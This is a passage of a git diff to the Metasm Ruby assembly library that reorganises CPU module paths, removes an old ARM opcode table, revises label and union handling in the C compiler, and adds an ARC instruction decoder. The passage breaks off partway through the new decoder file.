diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb
index 122c87b62c..9e27a9681e 100644
--- a/lib/metasm/metasm.rb
+++ b/lib/metasm/metasm.rb
@@ -15,6 +15,7 @@ module Metasm
   Const_autorequire_equiv = {
     'X86' => 'Ia32', 'PPC' => 'PowerPC',
     'X64' => 'X86_64', 'AMD64' => 'X86_64',
+    'MIPS64' => 'MIPS',
     'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF',
     'DEY' => 'DEX',
     'PTrace' => 'LinOS', 'FatELF' => 'ELF',
@@ -32,8 +33,10 @@ module Metasm
 
   # files to require to get the definition of those constants
   Const_autorequire = {
-    'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm',
-    'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik',
+    'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm',
+    'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc',
+    'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf',
+    'MSP430' => 'cpu/msp430',
     'C' => 'compile_c',
     'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe',
     'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff',
@@ -41,10 +44,15 @@ module Metasm
     'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho',
     'DEX' => 'exe_format/dex',
     'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff',
+    'GameBoyRom' => 'exe_format/gb',
     'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol',
+    'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass',
+    'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip',
+    'Shellcode_RWX' => 'exe_format/shellcode_rwx',
     'Gui' => 'gui',
     'WindowsExports' => 'os/windows_exports',
     'GNUExports' => 'os/gnu_exports',
+    'Debugger' => 'debug',
     'LinOS' => 'os/linux', 'WinOS' => 'os/windows',
     'GdbClient' => 'os/remote',
     'Disassembler' => 'disassemble',
diff --git a/lib/metasm/metasm/arm/opcodes.rb b/lib/metasm/metasm/arm/opcodes.rb
deleted file mode 100644
index 4055c2297c..0000000000
--- a/lib/metasm/metasm/arm/opcodes.rb
+++ /dev/null
@@ -1,177 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-require 'metasm/arm/main'
-
-module Metasm
-class ARM
-  private
-  def addop(name, bin, *args)
-    args << :cond if not args.delete :uncond
-
-    o = Opcode.new name, bin
-    o.args.concat(args & @valid_args)
-    (args & @valid_props).each { |p| o.props[p] = true }
-    args.grep(Hash).each { |h| o.props.update h }
-
-    # special args -> multiple fields
-    case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first
-    when :i8_r; args << :i8 << :rotate
-    when :rm_is; args << :rm << :stype << :shifti
-    when :rm_rs; args << :rm << :stype << :rs
-    when :mem_rn_rm; args << :rn << :rm << :rsx << :u
-    when :mem_rn_i8_12; args << :rn << :i8_12 << :u
-    when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u
-    when :mem_rn_i12; args << :rn << :i12 << :u
-    end
-
-    (args & @fields_mask.keys).each { |f|
-      o.fields[f] = [@fields_mask[f], @fields_shift[f]]
-    }
-
-    @opcode_list << o
-  end
-
-  def addop_data_s(name, op, a1, a2, *h)
-    addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h
-    addop name, op, a1, a2, :rm_is, *h
-    addop name, op | (1 << 4), a1, a2, :rm_rs, *h
-  end
-  def addop_data(name, op, a1, a2)
-    addop_data_s name, op << 21, a1, a2
-    addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length
-  end
-
-  def addop_load_puw(name, op, *a)
-    addop name, op, {:baseincr => :post}, :rd, :u, *a
-    addop name, op | (1 << 24), :rd, :u, *a
-    addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a
-  end
-  def addop_load_lsh_o(name, op)
-    addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3}
-    addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3}
-  end
-  def addop_load_lsh
-    op = 9 << 4
-    addop_load_lsh_o 'strh',  op | (1 << 5)
-    addop_load_lsh_o 'ldrd',  op | (1 << 6)
-    addop_load_lsh_o 'strd',  op | (1 << 6) | (1 << 5)
-    addop_load_lsh_o 'ldrh',  op | (1 << 20) | (1 << 5)
-    addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6)
-    addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5)
-  end
-
-  def addop_load_puwt(name, op, *a)
-    addop_load_puw name, op, *a
-    addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a
-  end
-  def addop_load_o(name, op, *a)
-    addop_load_puwt name, op, :mem_rn_i12, *a
-    addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a
-  end
-  def addop_load(name, op)
-    addop_load_o name, op
-    addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length
-  end
-
-  def addop_ldm_go(name, op, *a)
-    addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a
-  end
-  def addop_ldm_w(name, op, *a)
-    addop_ldm_go name, op, *a		# base reg untouched
-    addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a	# base updated
-  end
-  def addop_ldm_s(name, op)
-    addop_ldm_w name, op			# transfer regs
-    addop_ldm_w name, op | (1 << 22), :usermoderegs	# transfer usermode regs
-  end
-  def addop_ldm_p(name, op)
-    addop_ldm_s name+'a', op		# target memory included
-    addop_ldm_s name+'b', op | (1 << 24)	# target memory excluded, transfer starts at next addr
-  end
-  def addop_ldm_u(name, op)
-    addop_ldm_p name+'d', op		# transfer made downward
-    addop_ldm_p name+'i', op | (1 << 23)	# transfer made upward
-  end
-  def addop_ldm(name, op)
-    addop_ldm_u name, op
-  end
-
-  # ARMv6 instruction set, aka arm7/arm9
-  def init_arm_v6
-    @opcode_list = []
-    @valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs <<
-        :tothumb << :tojazelle
-    @valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24,
-      :rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]
-    @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf,
-      :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf,
-      :rnx => 0xf, :rdx => 0xf, :rsx => 0xf,
-      :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff,
-      :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f,
-      :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf
-
-    @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0,
-      :crn => 16, :crd => 12, :crm => 0, :cpn => 8,
-      :rnx => 16, :rdx => 12, :rsx => 8,
-      :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0,
-      :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0,
-      :u => 23, :mask => 16, :sbo => 12, :cond => 28
-    
-    addop_data 'and', 0,  :rd, :rn
-    addop_data 'eor', 1,  :rd, :rn
-    addop_data 'xor', 1,  :rd, :rn
-    addop_data 'sub', 2,  :rd, :rn
-    addop_data 'rsb', 3,  :rd, :rn
-    addop_data 'add', 4,  :rd, :rn
-    addop_data 'adc', 5,  :rd, :rn
-    addop_data 'sbc', 6,  :rd, :rn
-    addop_data 'rsc', 7,  :rd, :rn
-    addop_data 'tst', 8,  :rdx, :rn
-    addop_data 'teq', 9,  :rdx, :rn
-    addop_data 'cmp', 10, :rdx, :rn
-    addop_data 'cmn', 11, :rdx, :rn
-    addop_data 'orr', 12, :rd, :rn
-    addop_data 'or',  12, :rd, :rn
-    addop_data 'mov', 13, :rd, :rnx
-    addop_data 'bic', 14, :rd, :rn
-    addop_data 'mvn', 15, :rd, :rnx
-    
-    addop 'b',  0b1010 << 24, :setip, :stopexec, :i24
-    addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip
-    addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4)		# other fields are available&unused, also cnd != AL is undef
-    addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24
-    addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm
-    addop 'bx',  (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm
-    addop 'bxj',  (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle
-
-    addop_load 'str', (1 << 26)
-    addop_load 'ldr', (1 << 26) | (1 << 20)
-    addop_load_lsh
-    addop_ldm 'stm', (1 << 27)
-    addop_ldm 'ldm', (1 << 27) | (1 << 20)
-  end
-  alias init_latest init_arm_v6
-end
-end
-
-__END__
-    addop_cond 'mrs',  0b0001000011110000000000000000, :rd
-    addop_cond 'msr',  0b0001001010011111000000000000, :rd
-    addop_cond 'msrf', 0b0001001010001111000000000000, :rd
-
-    addop_cond 'mul',  0b000000000000001001 << 4, :rd, :rn, :rs, :rm
-    addop_cond 'mla',  0b100000000000001001 << 4, :rd, :rn, :rs, :rm
-
-    addop_cond 'swp',   0b0001000000000000000010010000, :rd, :rn, :rs, :rm
-    addop_cond 'swpb',  0b0001010000000000000010010000, :rd, :rn, :rs, :rm
-
-    addop_cond 'undef', 0b00000110000000000000000000010000
-
-    addop_cond 'swi', 0b00001111 << 24
-
-    addop_cond 'bkpt',  0b1001000000000000001110000
-    addop_cond 'movw',  0b0011 << 24, :movwimm
diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb
index 4dcd816925..63a1b8b86d 100644
--- a/lib/metasm/metasm/compile_c.rb
+++ b/lib/metasm/metasm/compile_c.rb
@@ -11,14 +11,14 @@ module Metasm
 module C
   class Parser
     def precompile
-      @toplevel.precompile(Compiler.new(self))
+      @toplevel.precompile(Compiler.new(self, @program))
       self
     end
   end
 
   # each CPU defines a subclass of this one
   class Compiler
-    # an ExeFormat (mostly used for unique label creation)
+    # an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name)
     attr_accessor :exeformat
     # the C Parser (destroyed by compilation)
     attr_accessor :parser
@@ -26,6 +26,8 @@ module C
     attr_accessor :source
     # list of unique labels generated (to recognize user-defined ones)
     attr_accessor :auto_label_list
+    # map asm name -> original C name (for exports etc)
+    attr_accessor :label_oldname
 
     attr_accessor :curexpr
     # allows 'raise self' (eg struct.offsetof)
@@ -34,9 +36,11 @@ module C
     end
 
     # creates a new CCompiler from an ExeFormat and a C Parser
-    def initialize(parser, exeformat=ExeFormat.new, source=[])
+    def initialize(parser, exeformat=nil, source=[])
+      exeformat ||= ExeFormat.new
       @parser, @exeformat, @source = parser, exeformat, source
       @auto_label_list = {}
+      @label_oldname = {}
     end
 
     def new_label(base='')
@@ -155,7 +159,9 @@ module C
       c_init_state(func)
 
       # hide the full @source while compiling, then add prolog/epilog (saves 1 pass)
-      @source << '' << "#{func.name}:"
+      @source << ''
+      @source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name]
+      @source << "#{func.name}:"
       presource, @source = @source, []
 
       c_block(func.initializer)
@@ -246,6 +252,7 @@ module C
       w = data.type.align(@parser)
       @source << ".align #{align = w}" if w > align
 
+      @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name]
       @source << data.name.dup
       len = c_idata_inner(data.type, data.initializer)
       len %= w
@@ -398,6 +405,7 @@ module C
     end
 
     def c_udata(data, align)
+      @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name]
       @source << "#{data.name} "
       @source.last <<
       case data.type
@@ -418,7 +426,11 @@ module C
       len == 0 ? align : len
     end
 
+    # return non-nil if the variable name is unsuitable to appear as is in the asm listing
+    # eg filter out asm instruction names
     def check_reserved_name(var)
+      return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name)
+      %w[db dw dd dq].include?(var.name)
     end
   end
 
@@ -538,21 +550,36 @@ module C
   class Declaration
     def precompile(compiler, scope)
       if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var)
-        # TODO fix label name in export table if __exported
-        scope.symbol.delete @var.name
         old = @var.name
-        @var.name = compiler.new_label @var.name until @var.name != old
-        compiler.toplevel.symbol[@var.name] = @var
-        # TODO no pure inline if addrof(func) needed
-        compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline'
+        ref = scope.symbol.delete old
+        if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer)
+          if n = compiler.label_oldname.index(old)
+            # reuse same name as predeclarations
+            @var.name = n
+          else
+            newname = old
+            newname = compiler.new_label newname until newname != old
+            if not compiler.check_reserved_name(@var)
+              compiler.label_oldname[newname] = old
+            end
+            @var.name = newname
+          end
+          ref ||= scope.symbol[@var.name] || @var
+          # append only one actual declaration for all predecls (the one with init, or the last uninit)
+          scope.statements << self if ref.eql?(@var)
+        else
+          @var.name = compiler.new_label @var.name until @var.name != old
+          compiler.toplevel.statements << self
+        end
+        compiler.toplevel.symbol[@var.name] = ref
       else
         scope.symbol[@var.name] ||= @var
-        appendme = true
+        appendme = true if scope.symbol[@var.name].eql?(@var)
       end
 
       if i = @var.initializer
         if @var.type.kind_of? Function
-          if @var.type.type.kind_of? Struct
+          if @var.type.type.kind_of? Union
             s = @var.type.type
             v = Variable.new
             v.name = compiler.new_label('return_struct_ptr')
@@ -568,6 +595,7 @@ module C
           Label.new(i.return_label).precompile(compiler, i)
           i.precompile_optimize
           # append now so that static dependencies are declared before us
+          # TODO no pure inline if addrof(func) needed
           scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline'
         elsif scope != compiler.toplevel and @var.storage != :static
           scope.statements << self if appendme
@@ -580,7 +608,6 @@ module C
       else
         scope.statements << self if appendme
       end
-
     end
 
     # turns an initializer to CExpressions in scope.statements
@@ -877,7 +904,7 @@ module C
     def precompile(compiler, scope)
       if @value
         @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression
-        if @value.type.untypedef.kind_of? Struct
+        if @value.type.untypedef.kind_of? Union
           @value = @value.precompile_inner(compiler, scope)
           func = scope.function.type
           CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope)
@@ -1011,7 +1038,7 @@ module C
         lexpr = CExpression.precompile_inner(compiler, scope, @lexpr)
         @lexpr = nil
         @op = nil
-        if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0
+        if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0
           off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned))
           @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type)
           # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr))
@@ -1157,7 +1184,7 @@ module C
           }
           scope.statements << copy_inline[@lexpr.initializer, scope]		# body already precompiled
           CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope)
-        elsif @type.kind_of? Struct
+        elsif @type.kind_of? Union
           var = Variable.new
           var.name = compiler.new_label('return_struct')
           var.type = @type
@@ -1434,4 +1461,3 @@ module C
   end
 end
 end
-
diff --git a/lib/metasm/metasm/cpu/arc.rb b/lib/metasm/metasm/cpu/arc.rb
new file mode 100644
index 0000000000..3ee319836c
--- /dev/null
+++ b/lib/metasm/metasm/cpu/arc.rb
@@ -0,0 +1,8 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+require 'metasm/cpu/arc/decode'
diff --git a/lib/metasm/metasm/cpu/arc/decode.rb b/lib/metasm/metasm/cpu/arc/decode.rb
new file mode 100644
index 0000000000..9b93a3528b
--- /dev/null
+++ b/lib/metasm/metasm/cpu/arc/decode.rb
@@ -0,0 +1,425 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/arc/opcodes'
+require 'metasm/decode'
+
+module Metasm
+class ARC
+  def major_opcode(val, sz = 16)
+    return val >> (sz == 16 ? 0xB : 0x1B)
+  end
+
+  def sub_opcode(val)
+    return ((val >> 16) & 0x3f)
+  end
+
+  def build_opcode_bin_mask(op, sz)
+    op.bin_mask = 0
+    op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]}
+    op.bin_mask = ((1 << sz)-1) ^ op.bin_mask
+  end
+
+  def build_bin_lookaside
+    bin_lookaside = {}
+    opcode_list.each{|mode,oplist|
+      lookaside = {}
+      # 2nd level to speed up lookaside for major 5
+      lookaside[5] = {}
+      oplist.each { |op|
+        next if not op.bin.kind_of? Integer
+        build_opcode_bin_mask(op, mode)
+        mj = major_opcode(op.bin, mode)
+        if mode == 32 and mj == 5
+          (lookaside[mj][sub_opcode(op.bin)] ||= []) << op
+        else
+          (lookaside[mj] ||= []) << op
+        end
+      }
+      bin_lookaside[mode] = lookaside
+    }
+    bin_lookaside
+  end
+
+  def instruction_size(edata)
+    val = major_opcode(edata.decode_imm(:u16, @endianness))
+    edata.ptr -= 2
+    (val >= 0xC) ? 16 : 32
+  end
+
+  def memref_size(di)
+    case di.opcode.name
+    when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1
+    when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2
+    else 4
+    end
+  end
+
+  def decode_bin(edata, sz)
+    case sz
+    when 16; edata.decode_imm(:u16, @endianness)
+    when 32
+      # wordswap
+      val = edata.decode_imm(:u32, :little)
+      ((val >> 16) & 0xffff) | ((val & 0xffff) << 16)
+    end
+  end
+
+  def decode_findopcode(edata)
+    di = DecodedInstruction.new(self)
+
+    @instrlength = instruction_size(edata)
+    val = decode_bin(edata, @instrlength)
+    edata.ptr -= @instrlength/8
+
+    maj = major_opcode(val, @instrlength)
+    lookaside = @bin_lookaside[@instrlength][maj]
+    lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5
+
+    op = lookaside.select { |opcode|
+      if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin
+        puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} -  #{opcode.name} - #{opcode.args}"
+      end
+      (val & opcode.bin_mask) == opcode.bin
+    }
+
+    if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop'
+      op = op.last
+    elsif op == nil or op.size != 1
+      puts "[> I sense a disturbance in the force <]"
+      op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" }
+      puts "current value: #{Expression[val]}"
+      puts "current value: 0b#{val.to_s(2)}"
+      op = nil
+    else
+      op = op.first
+    end
+
+    di if di.opcode = op
+  end
+
+  Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15]
+  def reduced_reg_set(i)
+    Reduced_reg[i]
+  end
+
+  def decode_instr_op(edata, di)
+    before_ptr = edata.ptr
+    op = di.opcode
+    di.instruction.opname = op.name
+    val = decode_bin(edata, @instrlength)
+
+    field_val = lambda { |f|
+      r = (val >> @fields_shift[f]) & @fields_mask[f]
+      case f
+
+      # 16-bits instruction operands ------------------------------------------"
+      when :ca, :cb, :cb2, :cb3, :cc;  r = reduced_reg_set(r)
+      when :ch
+        r = (((r & 7) << 3) | (r >> 5))
+      when :@cbu7, :@cbu6, :@cbu5
+        r = r & 0b11111
+        r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r)
+      when :cu5ee; r = r << 2
+      when :cdisps13
+        r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2)
+      when :cdisps10
+        r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2)
+      when :cdisps8
+        r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2)
+      when :cdisps7
+        r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2)
+      when :cs9, :cs10, :cs11
+        r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) )))
+        r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r)
+      when :@cspu7;
+        r = r << 2
+
+      # 32-bits instruction operands ------------------------------------------"
+      when :b
+        r = (r >> 12) | ((r & 0x7) << 3)
+      when :s8e
+        r = ((r & 0x1) << 7) | (r >> 2)
+        r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2)
+
+      when :u6e
+        r = (r << 1) + ((di.address >> 2) << 2)
+      when :s9
+        r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2)
+
+      when :s12
+        r = (r >> 6) | ((r & 0x3f) << 6)
+        r = Expression.make_signed(r, 12)
+
+      when :s12e
+        r = (r >> 6) | ((r & 0x3f) << 6)
+        r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2)
+
+      when :s21e
+        r = ((r & 0x3ff) << 10) | (r >> 11)
+        r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2)
+
+      when :s21ee # pc-relative
+        r = ((r & 0x3ff) << 9) | (r >> 12)
+        r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2)
+
+      when :s25e # pc-relative
+        r = ((r & 0xf) << 20)  | (((r >> 6) & 0x3ff) << 10) | (r >> 17)
+        r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2)
+
+      when :s25ee # pc-relative
+        r = ((r & 0xf) << 19)  | (((r >> 6) & 0x3ff) << 9) | (r >> 18)
+        r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2)
+
+      when :@bs9
+        r = r >> 3
+        s9 = ((r & 1) << 8) | ((r >> 1) & 0xff)
+        r = Expression.make_signed(s9, 9)
+
+      when :bext, :cext, :@cext
+        if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E)
+          tmp = edata.decode_imm(:u32, :little)
+          r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)]
+        else
+          r = GPR.new(r)
+        end
+
+      else r
+      end
+      r
+    }
+
+    # decode properties fields
+    op.args.each { |a|
+      case a
+      when :flags15, :flags16
+        di.instruction.opname += '.f' if field_val[a] != 0
+      when :ccond
+        di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0
+      when :delay5, :delay16
+        di.instruction.opname += '.d' if field_val[a] != 0
+      when :cache5, :cache11, :cache16
+        di.instruction.opname +='.di' if field_val[a] != 0
+      when :signext6, :signext16
+        di.instruction.opname += '.x' if field_val[a] != 0
+      when :wb3, :wb9, :wb22
+        case field_val[a]
+        when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a')
+        when 2; di.instruction.opname += '.ab'
+        when 3; di.instruction.opname += '.as'
+        end
+      when :sz1, :sz7, :sz16, :sz17
+        case field_val[a]
+        when 1; di.instruction.opname += 'b'
+        when 2; di.instruction.opname += 'w'
+        end
+      else
+        di.instruction.args << case a
+
+        # 16-bits instruction operands ------------------------------------------"
+        when :cr0; GPR.new 0
+        when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a])
+        when :ch
+          if ((r = field_val[a]) == 0x3E)
+            tmp = edata.decode_imm(:u32, :little)
+            Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)]
+          else
+            GPR.new(r)
+          end
+
+        when :@gps9, :@gps10, :@gps11
+          imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9
+          Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di))
+
+        when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]]
+        when :cs9, :cs10, :cs11;  Expression[field_val[a]]
+        when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]]
+        when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di))
+        when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di))
+        when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di))
+        when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di))
+
+        # 32-bits instruction operands ------------------------------------------"
+        when :a, :b
+          ((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r)
+        when :b2; GPR.new field_val[:b]
+        when :c; GPR.new field_val[a]
+        when :bext, :cext; field_val[a]
+        when :@cext
+          target = field_val[a]
+          (di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target
+
+        when :@bextcext
+          tmp = field_val[a]
+          #c = tmp & 0x3F
+          tmp = tmp >> 6
+          b = (tmp >> 12) | ((tmp & 0x7) << 3)
+          Memref.new(field_val[:bext],  field_val[:cext], memref_size(di))
+
+        when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]]
+        when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]]
+        when :auxs12; AUX.new field_val[:s12]
+        when :@c; Memref.new(GPR.new(field_val[a]),  nil, memref_size(di))
+        when :@bcext; Memref.new(field_val[a],  nil, memref_size(di))
+        when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di))
+        when :@bs9
+          # [b,s9] or [limm] if b = 0x3E
+          base = field_val[:bext]
+          Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di))
+
+        # common instruction operands ------------------------------------------"
+        when :zero; Expression[0]
+        when :gp; GPR.new(26)
+        when :sp, :sp2; GPR.new(28)
+        when :blink; GPR.new(31)
+        when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di))
+        when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di))
+        when :@blink;  Memref.new(GPR.new(31), nil, memref_size(di))
+
+        else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
+        end
+      end
+    }
+
+    di.bin_length += edata.ptr - before_ptr
+
+    return if edata.ptr > edata.virtsize
+
+    di
+  end
+
+  def disassembler_default_func
+    df = DecodedFunction.new
+    df.backtrace_binding = {}
+    15.times { |i|
+      df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown
+    }
+    df.backtracked_for = []
+    df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr|
+      if funcaddr != :default
+        btfor
+      elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip]
+        btfor
+      else []
+      end
+    }
+    df
+  end
+
+  REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60]
+  def register_symbols
+    REG_SYMS
+  end
+
+  def backtrace_binding
+    @backtrace_binding ||= init_backtrace_binding
+  end
+
+  def opshift(op)
+    op[/\d/].to_i
+  end
+
+  def with_res(arg)
+    arg != :zero
+  end
+
+  def init_backtrace_binding
+    sp = :r28
+    blink = :r31
+
+    @backtrace_binding ||= {}
+
+    mask = lambda { |sz| (1 << sz)-1 }  # 32bits => 0xffff_ffff
+
+    opcode_list.each{|mode, oplist|
+      oplist.map { |ol| ol.name }.uniq.each { |op|
+        binding = case op
+            when /^add/, /^sub/
+              lambda { |di, a0, a1, a2|
+                if (shift = opshift(op)) == 0
+                  { a0 => Expression[[a1, :+, a2], :&, mask[32]] }
+                else
+                  { a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] }
+                end
+              }
+            when /^and/
+              lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } }
+            when /^asl/
+              lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } }
+            when /^bxor/
+              lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }}
+            when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } }
+            when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } }
+            when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } }
+            when 'bl', 'bl_s', /^bl\./
+              # FIXME handle delay slot
+              # "This address is taken either from the first instruction following the branch (current PC) or the
+              # instruction after that (next PC) according to the delay slot mode (.d)."
+              lambda { |di, a0| { blink => Expression[di.next_addr] } }
+            when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } }
+            when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } }
+            when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } }
+            when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } }
+            when /^st/, /^sr/;  lambda { |di, a0, a1| { a1 => a0 } }
+            when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } }
+            when 'push_s'
+              lambda { |di, a0| {
+                sp => Expression[sp, :-, 4],
